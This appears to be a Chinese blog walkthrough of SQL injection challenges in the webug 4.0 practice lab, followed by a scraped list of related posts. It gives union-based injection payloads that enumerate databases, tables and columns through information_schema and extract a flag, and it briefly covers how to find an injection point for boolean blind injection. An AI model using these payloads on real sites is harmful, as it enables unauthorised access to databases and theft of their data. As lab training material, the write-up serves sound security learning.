目录

一. 显错注入

二. 布尔盲注

三. 延时注入

四. post注入

五. 过滤注入

六. 宽字节注入


一. 显错注入

1. 页面观察

输入id=1和id=2页面,页面显示不同,所以可以判断此变化的地方与数据库有交互,如果存在sql注入我们可以使用联合(显示)注入


2. 判断是否存在注入漏洞

输入id=1',显示错误,说我们的语法不正确。且显示出了数据库查询语句,可以知道为字符型注入,且字符为单引号。所以注入点就是加单引号就行

3. 使用联合注入

(1) 判断当前表的字段个数

id=1' orde by 2 --+

当输入order by 2 --+ 时没错,输入3时报错。说明当前表的字段个数为2

(2)判断显示位

?id=-1' union select 22,33 --+

如下,说明页面中33的这个位置与数据库有交互,数据在这里显示,所以我们可以把payload放入到这里

(3)函数查询

  • 查询数据库版本,mysql 5.0版本之后产生了一个虚拟数据库information_schema,我们可以利用这个表进行快速查询。如下mysql版本是大于5.0的
?id=-1' union select 22,version() --+

  • 查看所有数据库名字
?id=-1' union select 22,GROUP_CONCAT(schema_name) FROM information_schema.SCHEMATA --+

前三个都是mysql自带的数据库,因此我们只需要注意后面的webug、webug_sys、webug_width_byte数据库就行

  • 确认当前查询的数据库名字
id=-1' union select 22,database() --+

  • 查询当前数据库下面的表

由于不知道那个Flag在哪,但是还是首先考虑同一个数据库下的表吧

?id=-1' union select 22,GROUP_CONCAT(table_name) FROM information_schema.TABLES WHERE table_schema='webug' --+

我们看到了一个flag表,查看一下

  • 查看表中有哪些字段
?id=-1' union select 22,GROUP_CONCAT(column_name) FROM information_schema.COLUMNS WHERE table_name='flag' AND table_schema='webug' --+

可见flag表中有连个字段分别为id,flag

  • 查看字段中的内容

同时查询字段id和flag的值

?id=-1' union select 22,group_concat(id,'--',flag) from flag --+

  • 提交flag

获取到flag值我们就可以进行提交了

二. 布尔盲注

1. 页面分析

当我们输入的id正确是页面显示如下

当输入的id值错误时,如id=-1或者id=1',显示如下

即,页面只会呈现出两种状态,相当于true和false两种结果。我们输入的值影响到了数据的查询,由此可以判断程序并没有对我们输入的数据进行判断,所以这里肯定存在sql注入

2. 注入点判断

sql注入最重要的就是找到注入点,找到了剩下的绝大多部分可以交给sqlmap进行注入

当我们输入 id =1' and 1=1 --+ 时,页面正常显示

输入 id=1' and 1=2 --+ ,页面又显示不全,说明程序对我们输入的and 1=2的语句做出了正确的响应,由此可以知道注入点就是 id=1'

3. 猜解数据库名字

由于布尔盲注比较繁琐这里我就偷点懒直接使用sqlmap进行注入了~~嘿嘿

webug4.0之sql注入篇相关推荐

  1. webug4.0之xxe注入

    关于xxe漏洞,传送门 ->xxe漏洞详解 1. 页面观察 让我们登录,我们随便输入一个字符如admin,观察页面,出现了xml有关的东西,我们就要怀疑存在xml注入 2. 看是否能解析xml数 ...

  2. 渗透学习-SQL注入篇-基础知识的学习(持续更新中)

    提示:仅供进行学习使用,请勿做出非法的行为.如若由任何违法行为,将依据法律法规进行严惩!!! 文章目录 前言 一.SQL注入产生的原因 二.手工注入大致过程 1.判断注入点: 2.猜解列名 3.猜解能 ...

  3. oracle延时盲注如何防止,【原创】WEB安全第四章SQL注入篇21 oracle 延时注入

    WEB安全第四章SQL注入篇21 oracle 延时注入 1.简介 DBMS_LOCK.SLEEP()函数可以让一个过程休眠很多秒,但使用该函数存在许多限制.首先,不能直接将该函数注入子查询中,因为O ...

  4. web之SQL注入篇BUU

    web之SQL注入篇BUU [强网杯 2019]随便注 预处理语句 handler [SUCTF 2019]EasySQL 判断是字符型还是数字型注入 判断是否可以联合查询 判断是否可以使堆叠注入 | ...

  5. 测试具有44个漏洞点的简单小靶场-SQL注入篇

    文章目录 本地搭建 SQL注入篇 注入1(数字型注入) 注入2(闭合单引号) 注入3(闭合双引号) 注入4(闭合括号) 注入5(报错注入) 注入6(布尔盲注) 注入7(过滤了'--'和'#'以及'%2 ...

  6. DVWA通关-SQL注入篇

    DVWA通关-SQL注入篇 开篇之前   我知道网上也有很多通关攻略,但都是别人通关,复制粘贴也是别人的,所以就想写一下自己的.写下这篇文章主要是记录自己的学习,以及和各位朋友交流,有错误的地方,希望 ...

  7. TP5 框架 SQL 执行流程分析及 5.0.9 SQL 注入漏洞分析

    文章目录 SQL查询流程 TP 5.0.9 SQL注入 修复 SQL查询流程 TP5手册:https://www.kancloud.cn/manual/thinkphp5/118044 在分析 tp5 ...

  8. 【SQL注入技巧拓展】————13、我的WafBypass之道(SQL注入篇)

    0x00 前言 去年到现在就一直有人希望我出一篇关于WAF的文章,我觉得这种老生常 谈的话题也没什么可写的.很多人一遇到waf就发懵,不知如何是好,能搜到的各种姿势也是然并卵.但是积累姿势的过程也是迭 ...

  9. 我的WafBypass之道(SQL注入篇)

    原帖地址:https://xianzhi.aliyun.com/forum/read/349.html 0x00 前言 去年到现在就一直有人希望我出一篇关于waf绕过的文章,我觉得这种老生常 谈的话题 ...

最新文章

  1. 程序员应该具备的十个项目习惯
  2. golang reflect 反射 简介
  3. 第一个项目GeoQuiz开发总结
  4. 文件操作-使用readline分行读取大文件
  5. 华字后面配什么字比较好_女孩叫华什么名字好听 华字和什么字搭配取名最好...
  6. 微信小程序,用户拒绝授权后重新授权;uni-app小程序,用户拒绝授权后点击无效;重新进入后拉起位置授权框;
  7. Python入门--函数的参数总结
  8. [BZOJ4303]数列
  9. springMVC系列之(四) spring+springMVC+hibernate 三大框架整合(转)
  10. WATM与Tivoli、SIM同获2007网络技术大会网管系统选择奖
  11. U盘启动装系统的操作方法(U盘PE启动安装GHOST XP)(转载)
  12. 怎么将多个文本文件合并为一个文本文件
  13. 简述计算机的含义是什么,输入法全拼和双拼是什么意思?有什么区别?
  14. Python一对一题目辅导「PTA 题目讲解·难度系数:基础」
  15. Python全栈开发【基础-09】深浅拷贝+while循环
  16. 玩转“数独”2.0时代
  17. django批量修改table_Django 使用 modelformset 组件批量修改表单数据
  18. vlc播放海康威视摄像头rtsp rtmp视频教程
  19. 初步探究Android App API接口测试--实战
  20. 网站视频直播中p2p流媒体的应用

热门文章

  1. 高防服务器和高防CDN
  2. 搜狗浏览器终结了我的浏览器历史
  3. 十个改变降血压:每天吃四瓣蒜走六千步
  4. 数控等离子排版软件_数控等离子切割工艺优化创新
  5. 前端移动端适配 - 媒体查询适配方案
  6. Vue3 + Element Plus 实现动态二级菜单
  7. 法国自助游 (转载)
  8. JQuery Mobile优秀网站及资源
  9. MG100-M101-UNT400B-MG101等_Hi3798MV100_当贝纯净桌面-卡刷固件包
  10. Unity+高通Vuforia SDK——AR播放视频